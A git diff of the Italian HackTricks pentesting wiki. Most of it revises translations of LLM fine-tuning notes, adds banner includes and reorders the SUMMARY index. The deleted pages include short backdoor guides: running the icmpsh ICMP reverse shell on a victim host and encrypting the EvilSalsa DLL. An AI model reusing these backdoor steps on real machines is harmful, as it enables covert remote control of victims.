del gradiente, portando a una regolarizzazione più efficace. +- Gli ottimizzatori tradizionali come SGD con regolarizzazione L2 accoppiano il weight decay con il gradiente della funzione di perdita. Tuttavia, **AdamW** (una variante dell'ottimizzatore Adam) decoppia il weight decay dall'aggiornamento del gradiente, portando a una regolarizzazione più efficace. - Il dispositivo da utilizzare per l'addestramento - Il numero di epoche: Numero di volte per passare sui dati di addestramento - La frequenza di valutazione: La frequenza per chiamare `evaluate_model` @@ -917,7 +919,7 @@ optimizer = torch.optim.AdamW(model.parameters(), lr=5e-4, weight_decay=0.1) optimizer.load_state_dict(checkpoint["optimizer_state_dict"]) model.train(); # Put in training mode ``` -O solo il modello se hai intenzione di usarlo solo: +O solo il modello se hai intenzione di usarlo: ```python # Save the model torch.save(model.state_dict(), "model.pth") @@ -939,3 +941,6 @@ Ci sono 2 script rapidi per caricare i pesi di GPT2 localmente. Per entrambi puo ## Riferimenti - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md index d71442318..6fa6c14e1 100644 --- a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md +++ b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md @@ -1,5 +1,7 @@ # 7.0. Miglioramenti LoRA nel fine-tuning +{{#include /banners/hacktricks-training.md}} + ## Miglioramenti LoRA > [!TIP] @@ -59,3 +61,5 @@ replace_linear_with_lora(module, rank, alpha) ## Riferimenti - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md b/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md index 79b35c277..0459827d1 100644 --- a/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md +++ b/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md @@ -1,6 +1,8 @@ -# 7.1. Fine-Tuning for Classification +# 7.1. Fine-Tuning per la Classificazione -## What is +{{#include /banners/hacktricks-training.md}} + +## Cos'è Il fine-tuning è il processo di prendere un **modello pre-addestrato** che ha appreso **modelli linguistici generali** da enormi quantità di dati e **adattarlo** per eseguire un **compito specifico** o per comprendere il linguaggio specifico di un dominio. Questo si ottiene continuando l'addestramento del modello su un dataset più piccolo e specifico per il compito, permettendogli di regolare i suoi parametri per adattarsi meglio alle sfumature dei nuovi dati, sfruttando al contempo la vasta conoscenza che ha già acquisito. Il fine-tuning consente al modello di fornire risultati più accurati e pertinenti in applicazioni specializzate senza la necessità di addestrare un nuovo modello da zero. @@ -8,33 +10,33 @@ Il fine-tuning è il processo di prendere un **modello pre-addestrato** che ha a > Poiché il pre-addestramento di un LLM che "comprende" il testo è piuttosto costoso, di solito è più facile ed economico fare fine-tuning su modelli pre-addestrati open source per eseguire un compito specifico che vogliamo che esegua. > [!TIP] -> L'obiettivo di questa sezione è mostrare come fare fine-tuning su un modello già pre-addestrato, in modo che invece di generare nuovo testo, l'LLM selezioni e fornisca le **probabilità che il testo fornito venga categorizzato in ciascuna delle categorie date** (come se un testo fosse spam o meno). +> L'obiettivo di questa sezione è mostrare come fare fine-tuning su un modello già pre-addestrato, in modo che invece di generare nuovo testo, l'LLM selezionerà e fornirà le **probabilità che il testo fornito venga categorizzato in ciascuna delle categorie date** (come se un testo fosse spam o meno). -## Preparing the data set +## Preparazione del dataset -### Data set size +### Dimensione del dataset -Naturalmente, per fare fine-tuning su un modello è necessario avere dei dati strutturati da utilizzare per specializzare il tuo LLM. Nell'esempio proposto in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb), GPT2 è fine-tuned per rilevare se un'email è spam o meno utilizzando i dati di [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_._ +Certo, per fare fine-tuning su un modello hai bisogno di alcuni dati strutturati da utilizzare per specializzare il tuo LLM. Nell'esempio proposto in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb), GPT2 è fine-tuned per rilevare se un'email è spam o meno utilizzando i dati di [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_._ -Questo dataset contiene molti più esempi di "non spam" che di "spam", quindi il libro suggerisce di **utilizzare solo tanti esempi di "non spam" quanti di "spam"** (rimuovendo quindi dal set di addestramento tutti gli esempi extra). In questo caso, erano 747 esempi di ciascuno. +Questo dataset contiene molti più esempi di "non spam" che di "spam", quindi il libro suggerisce di **utilizzare solo tanti esempi di "non spam" quanti di "spam"** (rimuovendo quindi tutti gli esempi extra dai dati di addestramento). In questo caso, erano 747 esempi di ciascuno. -Poi, **il 70%** del dataset è utilizzato per **l'addestramento**, **il 10%** per **la validazione** e **il 20%** per **il test**. +Poi, il **70%** del dataset è utilizzato per il **training**, il **10%** per la **validazione** e il **20%** per il **testing**. - Il **set di validazione** è utilizzato durante la fase di addestramento per fare fine-tuning degli **iperparametri** del modello e prendere decisioni sull'architettura del modello, aiutando effettivamente a prevenire l'overfitting fornendo feedback su come il modello si comporta su dati non visti. Permette miglioramenti iterativi senza pregiudicare la valutazione finale. -- Questo significa che, sebbene i dati inclusi in questo dataset non siano utilizzati direttamente per l'addestramento, vengono utilizzati per ottimizzare i migliori **iperparametri**, quindi questo set non può essere utilizzato per valutare le prestazioni del modello come quello di test. +- Questo significa che, sebbene i dati inclusi in questo dataset non siano utilizzati direttamente per l'addestramento, vengono utilizzati per ottimizzare i migliori **iperparametri**, quindi questo set non può essere utilizzato per valutare le prestazioni del modello come quello di testing. - Al contrario, il **set di test** è utilizzato **solo dopo** che il modello è stato completamente addestrato e tutti gli aggiustamenti sono stati completati; fornisce una valutazione imparziale della capacità del modello di generalizzare a nuovi dati non visti. Questa valutazione finale sul set di test fornisce un'indicazione realistica di come ci si aspetta che il modello si comporti nelle applicazioni del mondo reale. -### Entries length +### Lunghezza delle voci Poiché l'esempio di addestramento si aspetta voci (testo delle email in questo caso) della stessa lunghezza, è stato deciso di rendere ogni voce grande quanto la più grande aggiungendo gli id di `<|endoftext|>` come padding. -### Initialize the model +### Inizializzare il modello Utilizzando i pesi pre-addestrati open-source, inizializza il modello per l'addestramento. Abbiamo già fatto questo prima e seguendo le istruzioni di [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) puoi farlo facilmente. -## Classification head +## Testa di classificazione -In questo esempio specifico (predire se un testo è spam o meno), non siamo interessati a fare fine-tuning secondo il vocabolario completo di GPT2, ma vogliamo solo che il nuovo modello dica se l'email è spam (1) o meno (0). Pertanto, andremo a **modificare l'ultimo strato che** fornisce le probabilità per token del vocabolario per uno che fornisce solo le probabilità di essere spam o meno (quindi come un vocabolario di 2 parole). +In questo esempio specifico (predire se un testo è spam o meno), non siamo interessati a fare fine-tuning secondo il vocabolario completo di GPT2, ma vogliamo solo che il nuovo modello dica se l'email è spam (1) o meno (0). Pertanto, andremo a **modificare l'ultimo strato che** fornisce le probabilità per token del vocabolario in uno che fornisce solo le probabilità di essere spam o meno (quindi come un vocabolario di 2 parole). ```python # This code modified the final layer with a Linear one with 2 outs num_classes = 2 @@ -108,3 +110,5 @@ Puoi trovare tutto il codice per fine-tunare GPT2 come classificatore di spam in ## Riferimenti - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md b/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md index 20339f808..95067495c 100644 --- a/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md +++ b/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md @@ -1,11 +1,13 @@ -# 7.2. Fine-Tuning per seguire le istruzioni +# 7.2. Ottimizzazione per seguire istruzioni + +{{#include /banners/hacktricks-training.md}} > [!TIP] -> L'obiettivo di questa sezione è mostrare come **affinare un modello già pre-addestrato per seguire le istruzioni** piuttosto che generare semplicemente testo, ad esempio, rispondendo a compiti come un chatbot. +> L'obiettivo di questa sezione è mostrare come **ottimizzare un modello già pre-addestrato per seguire istruzioni** piuttosto che generare semplicemente testo, ad esempio, rispondendo a compiti come un chatbot. ## Dataset -Per affinare un LLM per seguire le istruzioni è necessario avere un dataset con istruzioni e risposte per affinare il LLM. Ci sono diversi formati per addestrare un LLM a seguire le istruzioni, ad esempio: +Per ottimizzare un LLM per seguire istruzioni è necessario avere un dataset con istruzioni e risposte per ottimizzare il LLM. Ci sono diversi formati per addestrare un LLM a seguire istruzioni, ad esempio: - L'esempio dello stile di prompt Apply Alpaca: ```csharp @@ -56,10 +58,10 @@ Poi, come sempre, è necessario separare il dataset in set per l'addestramento, Poi, è necessario raggruppare tutti gli input e gli output attesi per l'addestramento. Per questo, è necessario: - Tokenizzare i testi -- Riempire tutti i campioni alla stessa lunghezza (di solito la lunghezza sarà grande quanto la lunghezza del contesto utilizzato per pre-addestrare il LLM) +- Aggiungere padding a tutti i campioni alla stessa lunghezza (di solito la lunghezza sarà grande quanto la lunghezza del contesto utilizzato per pre-addestrare il LLM) - Creare i token attesi spostando di 1 l'input in una funzione di collate personalizzata -- Sostituire alcuni token di riempimento con -100 per escluderli dalla perdita di addestramento: Dopo il primo token `endoftext`, sostituire tutti gli altri token `endoftext` con -100 (perché usare `cross_entropy(...,ignore_index=-100)` significa che ignorerà i target con -100) -- \[Opzionale] Mascherare usando -100 anche tutti i token appartenenti alla domanda in modo che il LLM impari solo a generare la risposta. Nello stile Apply Alpaca questo significherà mascherare tutto fino a `### Response:` +- Sostituire alcuni token di padding con -100 per escluderli dalla perdita di addestramento: Dopo il primo token `endoftext`, sostituire tutti gli altri token `endoftext` con -100 (perché usare `cross_entropy(...,ignore_index=-100)` significa che ignorerà i target con -100) +- \[Opzionale\] Mascherare usando -100 anche tutti i token appartenenti alla domanda in modo che il LLM impari solo a generare la risposta. Nello stile Apply Alpaca questo significherà mascherare tutto fino a `### Response:` Con questo creato, è tempo di creare i data loader per ciascun dataset (addestramento, validazione e test). @@ -72,16 +74,16 @@ Ricorda che l'overfitting si verifica quando la perdita di addestramento si sta ## Response Quality -Poiché questo non è un fine-tuning di classificazione in cui è possibile fidarsi maggiormente delle variazioni di perdita, è anche importante controllare la qualità delle risposte nel set di test. Pertanto, è consigliato raccogliere le risposte generate da tutti i set di test e **controllare manualmente la loro qualità** per vedere se ci sono risposte sbagliate (nota che è possibile per il LLM creare correttamente il formato e la sintassi della frase di risposta ma fornire una risposta completamente errata. La variazione della perdita non rifletterà questo comportamento).\ +Poiché questo non è un fine-tuning di classificazione in cui è possibile fidarsi maggiormente delle variazioni di perdita, è anche importante controllare la qualità delle risposte nel set di test. Pertanto, è consigliato raccogliere le risposte generate da tutti i set di test e **controllare la loro qualità manualmente** per vedere se ci sono risposte sbagliate (nota che è possibile per il LLM creare correttamente il formato e la sintassi della frase di risposta ma fornire una risposta completamente errata. La variazione della perdita non rifletterà questo comportamento).\ Nota che è anche possibile eseguire questa revisione passando le risposte generate e le risposte attese a **altri LLM e chiedere loro di valutare le risposte**. Altri test da eseguire per verificare la qualità delle risposte: -1. **Measuring Massive Multitask Language Understanding (**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLU valuta le conoscenze e le capacità di problem-solving di un modello in 57 soggetti, comprese le scienze umane, le scienze e altro. Utilizza domande a scelta multipla per valutare la comprensione a vari livelli di difficoltà, dall'elementare all'avanzato professionale. +1. **Measuring Massive Multitask Language Understanding (**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLU valuta la conoscenza e le capacità di problem-solving di un modello in 57 soggetti, comprese le scienze umane, le scienze e altro. Utilizza domande a scelta multipla per valutare la comprensione a vari livelli di difficoltà, dall'elementare all'avanzato professionale. 2. [**LMSYS Chatbot Arena**](https://arena.lmsys.org): Questa piattaforma consente agli utenti di confrontare le risposte di diversi chatbot fianco a fianco. Gli utenti inseriscono un prompt e più chatbot generano risposte che possono essere confrontate direttamente. 3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca_eval)**:** AlpacaEval è un framework di valutazione automatizzato in cui un LLM avanzato come GPT-4 valuta le risposte di altri modelli a vari prompt. 4. **General Language Understanding Evaluation (**[**GLUE**](https://gluebenchmark.com/)**):** GLUE è una raccolta di nove compiti di comprensione del linguaggio naturale, tra cui analisi del sentiment, implicazione testuale e risposta a domande. -5. [**SuperGLUE**](https://super.gluebenchmark.com/)**:** Basato su GLUE, SuperGLUE include compiti più impegnativi progettati per essere difficili per i modelli attuali. +5. [**SuperGLUE**](https://super.gluebenchmark.com/)**:** Basandosi su GLUE, SuperGLUE include compiti più impegnativi progettati per essere difficili per i modelli attuali. 6. **Beyond the Imitation Game Benchmark (**[**BIG-bench**](https://github.com/google/BIG-bench)**):** BIG-bench è un benchmark su larga scala con oltre 200 compiti che testano le capacità di un modello in aree come ragionamento, traduzione e risposta a domande. 7. **Holistic Evaluation of Language Models (**[**HELM**](https://crfm.stanford.edu/helm/lite/latest/)**):** HELM fornisce una valutazione completa attraverso vari metriche come accuratezza, robustezza e equità. 8. [**OpenAI Evals**](https://github.com/openai/evals)**:** Un framework di valutazione open-source di OpenAI che consente di testare modelli AI su compiti personalizzati e standardizzati. @@ -98,3 +100,5 @@ Puoi trovare un esempio del codice per eseguire questo fine-tuning in [https://g ## References - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/README.md b/src/AI/AI-llm-architecture/README.md index 8f09e398d..c7379939d 100644 --- a/src/AI/AI-llm-architecture/README.md +++ b/src/AI/AI-llm-architecture/README.md @@ -1,5 +1,7 @@ # LLM Training - Data Preparation +{{#include /banners/hacktricks-training.md}} + **Queste sono le mie note dal libro molto raccomandato** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **con alcune informazioni extra.** ## Basic Information @@ -34,7 +36,7 @@ Dovresti iniziare leggendo questo post per alcuni concetti di base che dovresti > L'obiettivo di questa terza fase è molto semplice: **Assegnare a ciascuno dei token precedenti nel vocabolario un vettore delle dimensioni desiderate per addestrare il modello.** Ogni parola nel vocabolario sarà un punto in uno spazio di X dimensioni.\ > Nota che inizialmente la posizione di ogni parola nello spazio è semplicemente inizializzata "casualmente" e queste posizioni sono parametri addestrabili (saranno migliorati durante l'addestramento). > -> Inoltre, durante l'embedding dei token **viene creata un'altra layer di embeddings** che rappresenta (in questo caso) la **posizione assoluta della parola nella frase di addestramento**. In questo modo, una parola in posizioni diverse nella frase avrà una rappresentazione (significato) diversa. +> Inoltre, durante l'embedding dei token **viene creata un'altra layer di embeddings** che rappresenta (in questo caso) la **posizione assoluta della parola nella frase di addestramento**. In questo modo, una parola in diverse posizioni nella frase avrà una rappresentazione (significato) diversa. {{#ref}} 3.-token-embeddings.md @@ -55,7 +57,7 @@ Dovresti iniziare leggendo questo post per alcuni concetti di base che dovresti > [!TIP] > L'obiettivo di questa quinta fase è molto semplice: **Sviluppare l'architettura del LLM completo**. Metti tutto insieme, applica tutti i layer e crea tutte le funzioni per generare testo o trasformare testo in ID e viceversa. > -> Questa architettura sarà utilizzata sia per l'addestramento che per la previsione del testo dopo che è stata addestrata. +> Questa architettura sarà utilizzata sia per l'addestramento che per la previsione del testo dopo che è stato addestrato. {{#ref}} 5.-llm-architecture.md @@ -96,3 +98,5 @@ Dovresti iniziare leggendo questo post per alcuni concetti di base che dovresti {{#ref}} 7.2.-fine-tuning-to-follow-instructions.md {{#endref}} + +{{#include /banners/hacktricks-training.md}} diff --git a/src/SUMMARY.md b/src/SUMMARY.md index d902fdb93..f83536cbe 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -149,6 +149,7 @@ - [macOS AppleFS](macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md) - [macOS Bypassing Firewalls](macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md) - [macOS Defensive Apps](macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md) + - [Macos Dyld Hijacking And Dyld Insert Libraries](macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md) - [macOS GCD - Grand Central Dispatch](macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md) - [macOS Kernel & System Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md) - [macOS IOKit](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md) @@ -217,8 +218,10 @@ # 🪟 Windows Hardening +- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md) - [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md) - [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md) + - [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md) - [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md) - [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md) - [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md) @@ -248,6 +251,7 @@ - [AD CS Domain Escalation](windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md) - [AD CS Domain Persistence](windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md) - [AD CS Certificate Theft](windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md) + - [Ad Certificates](windows-hardening/active-directory-methodology/ad-certificates.md) - [AD information in printers](windows-hardening/active-directory-methodology/ad-information-in-printers.md) - [AD DNS Records](windows-hardening/active-directory-methodology/ad-dns-records.md) - [ASREPRoast](windows-hardening/active-directory-methodology/asreproast.md) @@ -330,7 +334,7 @@ - [Manual DeObfuscation](mobile-pentesting/android-app-pentesting/manual-deobfuscation.md) - [React Native Application](mobile-pentesting/android-app-pentesting/react-native-application.md) - [Reversing Native Libraries](mobile-pentesting/android-app-pentesting/reversing-native-libraries.md) - - [Smali - Decompiling/\[Modifying\]/Compiling](mobile-pentesting/android-app-pentesting/smali-changes.md) + - [Smali - Decompiling, Modifying, Compiling](mobile-pentesting/android-app-pentesting/smali-changes.md) - [Spoofing your location in Play Store](mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md) - [Tapjacking](mobile-pentesting/android-app-pentesting/tapjacking.md) - [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md) @@ -388,6 +392,7 @@ - [Buckets](network-services-pentesting/pentesting-web/buckets/README.md) - [Firebase Database](network-services-pentesting/pentesting-web/buckets/firebase-database.md) - [CGI](network-services-pentesting/pentesting-web/cgi.md) + - [Django](network-services-pentesting/pentesting-web/django.md) - [DotNetNuke (DNN)](network-services-pentesting/pentesting-web/dotnetnuke-dnn.md) - [Drupal](network-services-pentesting/pentesting-web/drupal/README.md) - [Drupal RCE](network-services-pentesting/pentesting-web/drupal/drupal-rce.md) @@ -398,7 +403,6 @@ - [Flask](network-services-pentesting/pentesting-web/flask.md) - [Git](network-services-pentesting/pentesting-web/git.md) - [Golang](network-services-pentesting/pentesting-web/golang.md) - - [GWT - Google Web Toolkit](network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md) - [Grafana](network-services-pentesting/pentesting-web/grafana.md) - [GraphQL](network-services-pentesting/pentesting-web/graphql.md) - [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md) @@ -430,7 +434,7 @@ - [disable_functions bypass - via mem](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md) - [disable_functions bypass - mod_cgi](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md) - [disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md) - - [PHP - RCE abusing object creation: new $\_GET\["a"\]($\_GET\["b"\])](network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md) + - [Php Rce Abusing Object Creation New Usd Get A Usd Get B](network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md) - [PHP SSRF](network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md) - [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md) - [Python](network-services-pentesting/pentesting-web/python.md) @@ -438,6 +442,7 @@ - [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md) - [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]() - [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md) + - [Special Http Headers](network-services-pentesting/pentesting-web/special-http-headers.md) - [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md) - [Symfony](network-services-pentesting/pentesting-web/symphony.md) - [Tomcat](network-services-pentesting/pentesting-web/tomcat/README.md) @@ -582,6 +587,7 @@ - [Exploiting \_\_VIEWSTATE without knowing the secrets](pentesting-web/deserialization/exploiting-__viewstate-parameter.md) - [Python Yaml Deserialization](pentesting-web/deserialization/python-yaml-deserialization.md) - [JNDI - Java Naming and Directory Interface & Log4Shell](pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md) + - [Ruby Json Pollution](pentesting-web/deserialization/ruby-_json-pollution.md) - [Ruby Class Pollution](pentesting-web/deserialization/ruby-class-pollution.md) - [Domain/Subdomain takeover](pentesting-web/domain-subdomain-takeover.md) - [Email Injections](pentesting-web/email-injections.md) @@ -609,6 +615,7 @@ - [hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md) - [IDOR](pentesting-web/idor.md) - [JWT Vulnerabilities (Json Web Tokens)](pentesting-web/hacking-jwt-json-web-tokens.md) +- [JSON, XML and YAML Hacking](pentesting-web/json-xml-yaml-hacking.md) - [LDAP Injection](pentesting-web/ldap-injection.md) - [Login Bypass](pentesting-web/login-bypass/README.md) - [Login bypass List](pentesting-web/login-bypass/sql-login-bypass.md) @@ -641,6 +648,7 @@ - [MySQL File priv to SSRF/RCE](pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md) - [Oracle injection](pentesting-web/sql-injection/oracle-injection.md) - [Cypher Injection (neo4j)](pentesting-web/sql-injection/cypher-injection-neo4j.md) + - [Sqlmap](pentesting-web/sql-injection/sqlmap.md) - [PostgreSQL injection](pentesting-web/sql-injection/postgresql-injection/README.md) - [dblink/lo_import data exfiltration](pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md) - [PL/pgSQL Password Bruteforce](pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md) @@ -664,6 +672,7 @@ - [WebSocket Attacks](pentesting-web/websocket-attacks.md) - [Web Tool - WFuzz](pentesting-web/web-tool-wfuzz.md) - [XPATH injection](pentesting-web/xpath-injection.md) +- [XS Search](pentesting-web/xs-search.md) - [XSLT Server Side Injection (Extensible Stylesheet Language Transformations)](pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md) - [XXE - XEE - XML External Entity](pentesting-web/xxe-xee-xml-external-entity.md) - [XSS (Cross Site Scripting)](pentesting-web/xss-cross-site-scripting/README.md) @@ -845,13 +854,14 @@ # ✍️ TODO -- [Other Big References](todo/references.md) +- [Interesting Http](todo/interesting-http.md) - [Rust Basics](todo/rust-basics.md) - [More Tools](todo/more-tools.md) - [MISC](todo/misc.md) -- [Pentesting DNS](todo/pentesting-dns.md) - [Hardware Hacking](todo/hardware-hacking/README.md) + - [Fault Injection Attacks](todo/hardware-hacking/fault_injection_attacks.md) - [I2C](todo/hardware-hacking/i2c.md) + - [Side Channel Analysis](todo/hardware-hacking/side_channel_analysis.md) - [UART](todo/hardware-hacking/uart.md) - [Radio](todo/hardware-hacking/radio.md) - [JTAG](todo/hardware-hacking/jtag.md) @@ -878,8 +888,6 @@ - [Other Web Tricks](todo/other-web-tricks.md) - [Interesting HTTP$$external:todo/interesting-http.md$$]() - [Android Forensics](todo/android-forensics.md) -- [TR-069](todo/tr-069.md) -- [6881/udp - Pentesting BitTorrent](todo/6881-udp-pentesting-bittorrent.md) - [Online Platforms with API](todo/online-platforms-with-api.md) - [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md) - [Post Exploitation](todo/post-exploitation.md) @@ -887,3 +895,11 @@ - [Cookies Policy](todo/cookies-policy.md) + + - [Readme](blockchain/blockchain-and-crypto-currencies/README.md) + - [Readme](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md) + - [Readme](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md) + - [Readme](pentesting-web/web-vulnerabilities-methodology/README.md) + - [Readme](reversing/cryptographic-algorithms/README.md) + - [Readme](reversing/reversing-tools/README.md) + - [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md) \ No newline at end of file diff --git a/src/android-forensics.md b/src/android-forensics.md deleted file mode 100644 index 4d86fca2e..000000000 --- a/src/android-forensics.md +++ /dev/null @@ -1,27 +0,0 @@ -# Android Forensics - -{{#include ./banners/hacktricks-training.md}} - -## Dispositivo Bloccato - -Per iniziare a estrarre dati da un dispositivo Android, deve essere sbloccato. Se è bloccato puoi: - -- Controllare se il dispositivo ha attivato il debug via USB. -- Controllare un possibile [smudge attack](https://www.usenix.org/legacy/event/woot10/tech/full_papers/Aviv.pdf) -- Provare con [Brute-force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/) - -## Acquisizione Dati - -Crea un [backup android usando adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) ed estrailo usando [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar` - -### Se accesso root o connessione fisica all'interfaccia JTAG - -- `cat /proc/partitions` (cerca il percorso della memoria flash, generalmente la prima voce è _mmcblk0_ e corrisponde all'intera memoria flash). -- `df /data` (Scopri la dimensione del blocco del sistema). -- dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (eseguilo con le informazioni raccolte dalla dimensione del blocco). - -### Memoria - -Usa Linux Memory Extractor (LiME) per estrarre le informazioni della RAM. È un'estensione del kernel che deve essere caricata tramite adb. - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/backdoors/icmpsh.md b/src/backdoors/icmpsh.md deleted file mode 100644 index a71a1f664..000000000 --- a/src/backdoors/icmpsh.md +++ /dev/null @@ -1,25 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -Scarica il backdoor da: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) - -# Lato client - -Esegui lo script: **run.sh** - -**Se ricevi un errore, prova a cambiare le righe:** -```bash -IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1) -IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }') -``` -**Per:** -```bash -echo Please insert the IP where you want to listen -read IP -``` -# **Lato Vittima** - -Carica **icmpsh.exe** sulla vittima ed esegui: -```bash -icmpsh.exe -t -d 500 -b 30 -s 128 -``` -{{#include ../banners/hacktricks-training.md}} diff --git a/src/backdoors/salseo.md b/src/backdoors/salseo.md deleted file mode 100644 index 97c5acc25..000000000 --- a/src/backdoors/salseo.md +++ /dev/null @@ -1,158 +0,0 @@ -# Salseo - -{{#include ../banners/hacktricks-training.md}} - -## Compilare i binari - -Scarica il codice sorgente da github e compila **EvilSalsa** e **SalseoLoader**. Avrai bisogno di **Visual Studio** installato per compilare il codice. - -Compila questi progetti per l'architettura della macchina Windows su cui intendi usarli (Se Windows supporta x64, compilali per quell'architettura). - -Puoi **selezionare l'architettura** all'interno di Visual Studio nella **scheda "Build" a sinistra** in **"Platform Target".** - -(**Se non riesci a trovare queste opzioni, premi su **"Project Tab"** e poi su **"\ Properties"**) - -![](<../images/image (132).png>) - -Poi, costruisci entrambi i progetti (Build -> Build Solution) (All'interno dei log apparirà il percorso dell'eseguibile): - -![](<../images/image (1) (2) (1) (1) (1).png>) - -## Preparare il Backdoor - -Prima di tutto, dovrai codificare il **EvilSalsa.dll.** Per farlo, puoi usare lo script python **encrypterassembly.py** oppure puoi compilare il progetto **EncrypterAssembly**: - -### **Python** -``` -python EncrypterAssembly/encrypterassembly.py -python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt -``` -### Windows -``` -EncrypterAssembly.exe -EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt -``` -Ok, ora hai 